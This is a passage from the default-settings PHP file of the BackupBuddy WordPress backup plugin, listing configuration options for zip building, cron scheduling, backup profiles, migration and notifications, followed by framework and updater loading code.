threshold period, at expiry will start new step. Empty for default of 30s. 0 for infinite. 'zip_burst_gap' => '2', // Zip build interburst gap. Empty for default of 2s 'zip_min_burst_content' => '10', // Zip build minimum burst content size (MB). Empty for 10MB default. 0 for unlimited. 'zip_max_burst_content' => '100', // Zip build maximum burst content size (MB). Empty for 100MB default. 0 for unlimited. 'disable_zipmethod_caching' => '0', // When enabled the available zip methods are not cached. Useful for always showing the test for debugging or customer logging purposes for support. 'archive_name_format' => 'datetime', // Valid options: date, datetime 'archive_name_profile' => '0', // Valid options: 0, 1. Displays profile name in backup archive filename. 'disable_https_local_ssl_verify' => '0', // When enabled (1) disabled WordPress from verifying SSL certificates for loopbacks, etc. 'save_comment_meta' => '1', // When enabled (1) meta data will not be stored in backups during creation. 'ignore_command_length_check' => '0', // When enabled, the command line length result provided by the OS will be ignored. Sometimes we cannot reliably get it. 'default_backup_tab' => '0', // Default tab to have open on backup page. Useful for advanced used to change. 'deployment_allowed' => '0', // Whether or not this site accepts pushing/pulling of site data via Stash. 0 = disabled, 1 = enabled. 'hide_live' => '0', // Hide Stash Live from menu when set to 1. 'remote_api' => array( 'keys' => array(), // API key for allowing other BB installations to manage this BB, or use deployments. 'ips' => array(), // Array of IP addresses allowed to access the remote API. If empty, any ip can connect when enabled. ), 'skip_spawn_cron_call' => '0', // If enabled then we will not call spawn_cron() during backups and attempt to chain runs. 'stats' => array( 'site_size' => 0, 'site_size_excluded' => 0, 'site_size_updated' => 0, 'db_size' => 0, 'db_size_excluded' => 0, 'db_size_updated' => 0, ), 'disalerts' => array(), // Array of alerts that have been dismissed/hidden. 'breakout_tables' => '1', // Whether or not to breakout some tables into individual steps (for sites with larger dbs). DEFAULT: enabled as of v5.0. 'include_importbuddy' => '1', // Whether or not to include importbuddy.php script inside backup ZIP file. 'max_site_log_size' => '3', // Size in MB to clear the log file if it is exceeded. 'compression' => '1', // Zip compression. 'no_new_backups_error_days' => '45', // Send an error email notification if no new backups have been created in X number of days. 'skip_quicksetup' => '0', // When 1 the quick setup will not pop up on Getting Started page. 'prevent_flush' => '0', // When 1 pb_backupbuddy::flush() will return instead of flushing to workaround some odd server issues on some servers. 'rollback_cleanups' => array(), // Array of rollback serial => time() pairs to run cleanups on, such as dropping temporary undo tables. Run X hours after the timestamp. 'phpmysqldump_maxrows' => '', // When in mysqldump compatibility mode, maximum number of rows to dump per select. Blank uses default. 'disable_localization' => '0', // 0=localization enabled, 1=disabled. Useful when troubleshooting and unable to read localized log. 'max_execution_time' => '', // Maximum amount of time allowed per PHP process when chunking is enabled. 'backup_cron_rescheduling' => '0', // When enabled BB will attempt to reschedule missing cronjobs for proceeding during a manual backup. Possibly useful if the cron for the next step is going missing. 'backup_cron_passed_force_time' => '', // If numeric and non-zero, if during a backup the time passed since a cron should have run surpasses this number then BB will make an ajax call to force the cron to run. Or at least attempt to by clearing the cron transient and calling spawn_cron() with a future time. 'force_single_db_file' => '0', // When '1' all SQL dumps will go into db_1.sql rather than potentially being broken up into indidivudal table SQL files dependant on methods available, etc. 'deployments' => array(), 'max_send_stats_days' => '7', // Max days to hold onto recent send fileoptions stats files to keep. Default 604800 = 1 week. Configurable in settings. 'max_send_stats_count' => '6', // Maxn numeric amount of most recent send fileoptions stats files to keep. Configurable in settings. 'max_notifications_age_days' => '21', // Max days to keep notifications. 'save_backup_sum_log' => '1', // 1 or 0. When 1 the full backup status log will be saved in a log file with _sum_ in it. This allows viewing the full status log regardless of Log Level setting. 'limit_single_cron_per_pass' => '1', // Prevents multiple BackupBuddy crons from running per PHP page load by re-scheduling and delaying them to the next load. 'tested_php_runtime' => 0, // Actual tested max PHP runtime based on backupbuddy_core::php_runtime_test() results. 'last_tested_php_runtime' => 0, // Timestamp PHP runtime was last tested. 'use_internal_cron' => '0', // When 1, we will try to use our own cron system to work around cron caching issues. 'profiles' => array( 0 => array( 'type' => 'defaults', 'title' => 'Global Defaults', 'skip_database_dump' => '0', // When enabled the database dump step will be skipped. 'backup_nonwp_tables' => '0', // Backup tables not prefixed with the WP prefix. 'integrity_check' => '1', // Zip file integrity check on the backup listing. 'mysqldump_additional_includes' => '', 'mysqldump_additional_excludes' => '', 'excludes' => '' ), 1 => array( 'type' => 'db', 'title' => 'Database Only', 'tip' => 'Just your database. I like your minimalist style.', ), 2 => array( 'type' => 'full', 'title' => 'Complete Backup', ), ), ), 'deployment_defaults' => array( 'siteurl' => '', 'api_key' => '', ), 'profile_defaults' => array( 'type' => '', // defaults, db, or full 'title' => '', // Friendly title/name. 'skip_database_dump' => '-1', // When enabled the database dump step will be skipped. 'mysqldump_additional_includes' => '-1', // Additional db tables to backup in addition to those calculated by mysql_dumpmode. Newslines between tables. 'mysqldump_additional_excludes' => '-1', // Additional db tables to EXCLUDE. This is taken into account last, after tables are calculated by mysql_dumpmode AND additional includes calculated. 'backup_nonwp_tables' => '-1', // Backup tables not prefixed with the WP prefix. //'compression' => '-1', // Zip compression. 'excludes' => '-1', // Newline deliminated list of directories to exclude from the backup. 'integrity_check' => '-1', // Zip file integrity check on the backup listing. 'profile_globaltables' => '1', // Whether or not custom table inclusions/exclusions enabled for this profile. 'profile_globalexcludes' => '1', // Whether or not custom file excludes enabled for this profile. 'backup_mode' => '-1', // -1= use global default, 1=classic (single page load), 2=modern (crons) ), 'migration_defaults' => array( 'web_address' => '', 'ftp_server' => '', 'ftp_username' => '', 'ftp_password' => '', 'ftp_path' => '', 'ftps' => '0', ), 'backups_integrity_defaults'=> array( // key is serial 'is_ok' => false, 'tests' => array(), 'scan_time' => 0, 'scan_log' => array(), 'size' => 0, 'modified' => 0, 'detected_type' => '', 'file' => '', ), 'schedule_defaults' => array( 'title' => '', 'profile' => '', 'interval' => 'monthly', 'first_run' => '', 'delete_after' => '0', 'remote_destinations' => '', 'last_run' => 0, 'on_off' => '1', ), 'notification_defaults' => array( // Array stored in wp_options "pb_backupbuddy_notifications" rather than Settings array. 'time' => 0, 'slug' => '', 'title' => '', 'message' => '', 'data' => array(), 'urgent' => false, 'syncSent' => false, // Whether or not this notification has been sent to iThemes Sync yet. ), 'wp_minimum' => '3.5.0', 'php_minimum' => '5.2', 'modules' => array( 'filesystem' => true, 'format' => true, ), ); // Main plugin file. $pluginbuddy_init = 'backupbuddy.php'; // Load compatibility functions. require_once( dirname( __FILE__ ) . '/_compat.php' ); // $settings is expected to be populated prior to including PluginBuddy framework. Do not edit below. require( dirname( __FILE__ ) . '/pluginbuddy/_pluginbuddy.php' ); // Updater & Licensing System - Aug 23, 2013. function ithemes_backupbuddy_updater_register( $updater ) { $updater->register( 'backupbuddy', __FILE__ ); } add_action( 'ithemes_updater_register', 'ithemes_backupbuddy_updater_register' ); $updater = dirname( __FILE__ ) . '/lib/updater/load.php'; if ( file_exists( $updater ) ) { require( $updater ); } ?>